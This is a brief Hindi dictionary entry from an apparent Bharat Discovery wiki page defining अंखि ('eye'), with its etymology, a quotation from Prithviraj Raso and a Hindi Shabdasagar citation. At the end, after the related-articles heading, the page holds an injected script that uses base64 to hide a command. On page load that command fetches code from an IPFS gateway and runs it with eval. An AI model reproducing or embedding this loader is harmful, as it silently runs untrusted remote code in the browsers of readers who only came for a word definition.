अंखि
भारत डिस्कवरी प्रस्तुति
अंखि - संज्ञा स्त्रीलिंग (संस्कृत अक्षि; प्राकृत अक्खि)[1]
'अंख'
- उदाहरण - "करि क्रोध अंखि सुरत्त हवि जानि लग्गिय लत्त।"[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 04 |
- ↑ पृथ्वीराजरासो, 1।104
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>